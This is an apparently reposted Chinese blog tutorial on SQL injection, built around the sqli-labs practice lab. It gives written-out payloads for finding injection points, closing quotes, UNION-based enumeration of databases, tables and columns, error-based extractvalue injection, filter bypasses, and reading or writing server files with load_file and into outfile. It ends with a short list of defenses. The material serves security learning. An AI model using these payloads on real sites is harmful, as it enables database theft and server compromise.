IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> 13 WEB漏洞SQL注入之注入类型及提交注入 -> 正文阅读

[大数据]13 WEB漏洞SQL注入之注入类型及提交注入

1.SQL简介:

SQL 是一门 ANSI 的标准计算机语言,用来访问和操作数据库系统-。SQL 语句用于取回和更新数据库中的数据。SQL 可与数据库程序协同工作,比如 MS Access、DB2、Informix、MS SQL Server、Oracle、Sybase 以及其他数据库系统。

本来有一些基础知识有在sql注入小总里写,现在还是再提一下:
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
user() 查看当前MySQL登录的用户名
database() 查看当前使用MySQL数据库名
version() 查看当前MySQL版本

是否存在注入点:

1.and (要求and前后两个条件正确才会返回正确)
?id=10’and 1=1(返回正常)
?id=10’and 1=2(报错)
当然也可以不用等于号(有时候=被过滤了)
?id=10’and 2>1(返回正常)
?id=10’and 1>2(报错)

2.or(只需or前后两条件中有一个正确即可返回正确)
?id=10’or 1=1(返回正确)
?id=10’or 1=2 (返回正确)


闭合:

最为常见的是数字型和字符型,主要是要达到闭合的效果
用sqlilabs里的几个题目举几个小栗子:

Less-3
id=-1’) union select 1,2,3 – -
在这里插入图片描述

Less-4
id=-1") union select 1,2,3 – -
在这里插入图片描述

Less-6
id=-1" union select 1,2,3 – -

在这里插入图片描述
由于最近做了两个题,也是关于闭合的:
题型一:
两个注入点,且过滤了单引号
在这里插入图片描述
闭合: username=&password=or/**/extractvalue(1,concat(0x7e,database()))%23

题型二:
两个注入点,且过滤了注释符,等号 等
在这里插入图片描述
闭合: from=&to=or/**/‘1’<'2



2.MySQL 5.x数据结构:

查看所有数据库:show databases;
选择数据库A:use A;
查看A数据库下的表: show tables;
查看A数据库下的B表内容:select * from B;
…有很多语句,有需要时可以在菜鸟教程里查找。


3.跨库攻击:

前提条件:必须是高权限用户才能执行跨库查询
用sqli-labs-master/Less-2举例
首先在数据库里查看拥有最高权限root的host名
在这里插入图片描述
然后在题目中查看当前的用户:
?id=-1%20union%20select%201,user(),3
在这里插入图片描述
确定是最高权限后,进行跨库查询:
1.首先
最开始在数据库建了一个test库(用来做测试),内表名为aaaa,字段名为id,pass;字段内容有
在这里插入图片描述
2.获取所有数据库名称:
union select 1,group_concat(schema_name),3
from information_schema.schemata

3.获取test数据库表名:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘test’

4.获取字段名:
union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘aaaa’ and table_schema=‘test’

5.查看字段内容
在这里插入图片描述


4.文件读写:

由于:
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

所以在sqlilabs测试读取文件之前,首先要在inc中加入:
在这里插入图片描述

load_file 文件读取
into outfile 或into dumpfile 文件写入



1.读取C盘下ccc.txt文件:
?id=-1 union select 1,load_file(‘C://ccc.txt’),3
在这里插入图片描述
在这里插入图片描述2.写入:
将x写入www.txt中
?id=-1 union select 1,‘x’,3 into outfile ‘D:\www.txt’–+
在这里插入图片描述
了解文件的写入和读取后,我们需要获取文件的路径


6.路径获取的常见方法:

**1.报错显示:**一般网站出现错误的时候会泄露出路径
**2.遗留文件:**站长为了调试信息的时候遗留的文件而泄露的 路径。用扫描工具可以扫出 (inurl:phpinfo.php)

在这里插入图片描述

3.漏洞报错:知道对方是用什么程序搭建再去网上去搜索漏洞信息:phpcms 爆路径/zblog 爆路径
4.平台配置文件: 通过读取文件来读取搭建网站平台的配置文件。缺点:路径不是默认的,一旦更改很难找到路径
5.爆破
6.拓展链接:一篇关于读取敏感信息的文:https://blog.csdn.net/weixin_30292843/article/details/99381669

魔术引号及常见防护:magic_quotes_gpc
作用:为了让从数据库或文件中读取数据和从请求中接收参数时,对单引号、双引号、反斜线、NULL加上一个一个反斜线进行转义,这个的作用跟addslashes()的作用完全相同

绕过方法:hex(16进制)编码绕过 (编码后魔术引号将不再对其生效)



7.防护:

1.内置函数 is_int() 无解
2.魔术引号
3.WAF防护软件:安全狗 宝塔等
4.低版本(小于5.0的mysql 查表名或列名时)注入配合读取或暴力破解(靠猜!)
5.自定义关键字:select等·

在这里插入图片描述

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-05-01 15:49:32  更:2022-05-01 15:50:50 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 1:31:12-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码